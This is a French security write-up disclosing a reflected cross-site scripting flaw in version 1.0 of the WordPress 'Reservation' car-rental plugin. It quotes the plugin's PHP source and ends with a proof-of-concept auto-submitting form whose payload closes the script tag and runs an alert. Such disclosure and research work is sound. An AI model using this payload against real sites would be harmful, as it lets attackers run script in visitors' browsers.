Accueil Cross-Site Scripting (reflected) dans le plugin Wordpress Reservation
Post
Annuler

Cross-Site Scripting (reflected) dans le plugin Wordpress Reservation

Présentation du plugin

Le plugin Reservation se présente de cette façon :

Navotar Car Rental Reservation Plugin can be easily plugged into your website.

Add the Car Rental Reservation Plugin directly into your website and start getting online reservation from your customers.

Your customers can simply visit your website and select the vehicle they need and fill in the required information and submit. The reservation made will be sent to your car rental software account with Navotar right away.

D’autres fonctionnalités sont listées sur la page du plugin.

La version testée est la 1.0 et date d’il y a 4 ans au moment de ces lignes.

La vulnérabilité

Dans le script principal reservation.php une classe NTRA_MainControllerOfNavotar est définie et instanciée en fin de script.

Cette classe a un constructeur qui hooke différentes fonctions :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 Class NTRA_MainControllerOfNavotar{

    public function __construct(){

        add_action( 'init',array( &$this, 'NTRAfileInclude' ) );
        add_action ( 'wp_head',array(&$this, 'NTRAhookInHeader' ));
        add_action( 'init',array( &$this, 'NTRAfrontendFiles' ) );
        add_action( 'admin_menu', array( &$this, 'NTRAaddAdminMenu' ) );
        add_action( 'wp_enqueue_scripts', array( &$this, 'NTRAaddFrontendScripts' ) );
        add_action( 'admin_init',array( &$this, 'NTRAloadAdminStyle' ) );
        add_filter( 'template_include',array( &$this, 'NTRAcontactPageTemplate') );
        add_action('admin_enqueue_scripts', array( &$this, 'NTRAcstmCssAndJs'));
        add_action('admin_enqueue_scripts', array( &$this, 'NTRAadminUrl'));
        add_action("wp_head", array( &$this,"NTRAmyPrintCustomStyle"));
        register_activation_hook(__FILE__,array(&$this, 'NTRAcustomPages'));

Le hook destiné aux templates inclut le template nommé summary.php :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    function NTRAcontactPageTemplate( $template ) {
        if ( is_page( 'listing' ) ) {
            if ( locate_template( 'listing.php' ) ) {
                $template = locate_template( 'listing.php' );
            } else {
                $template = dirname( __FILE__ ) .'/templates/' . 'listing.php';
            }
        }
--- snip ---                                                                                                                       
        if ( is_page( 'summary' ) ) {
            if ( locate_template( 'summary.php' ) ) {
                $template = locate_template( 'summary.php' );
            } else {
                $template = dirname( __FILE__ ) .'/templates/' . 'summary.php';
            }
        }
--- snip ---

C’est ce dernier template qui est vulnérable.

Il commence par extraire les données du tableau $_POST pour en remplir d’autres :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    $inf = array();
    $arr = $_POST;

    foreach ($arr as $key => $value) {
        if(stripos($key, '-') !== false){
            $val =  explode("-", $key);
            array_push($val, $value);
            array_push($inf, $val);
        }
        else{
            $exp =  explode("-", $value);
            array_push($inf, $exp);
        }
    }

En l’occurrence, c’est dans le bloc else que les valeurs passées par POST sont placées dans le tableau $inf.

Plus tard le script affiche les données qui n’ont pas été préalablement échappées donc possibilité de XSS :

1
2
3
4
5
6
7
    //check prmocode onload end

    $("#checkpromo").blur(function(){
        var promo = $('#checkpromo').val();
        if(promo !=''){
            var vtid = <?php if(!empty($inf[0][0])){ echo $inf[0][0]; }  ?>;
            var lid = <?php if(!empty($inf[0][1])){ echo $inf[0][1]; }  ?>;

L’injection se fait au milieu de code Javascript. On peut simplement fermer la balise script courante puis en rouvrir une autre.

PoC :

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<form id="myForm" method="POST" action="http://localhost:8000/?page_id=8">
        <input type="hidden" name="fname" value="&lt;/script&gt;&lt;ScRiPt&gt;alert(/XSS/)&lt;/sCrIpT&gt;" />
        <input type="hidden" name="lname" value="default" />
        <input type="hidden" name="phone" value="default" />
        <input type="hidden" name="email" value="whatever@nowhere.com" />
        <input type="hidden" name="city" value="default" />
</form>
<script>document.createElement('form').submit.call(document.getElementById('myForm'));</script>
</body>
</html>
Cet article est sous licence CC BY 4.0 par l'auteur.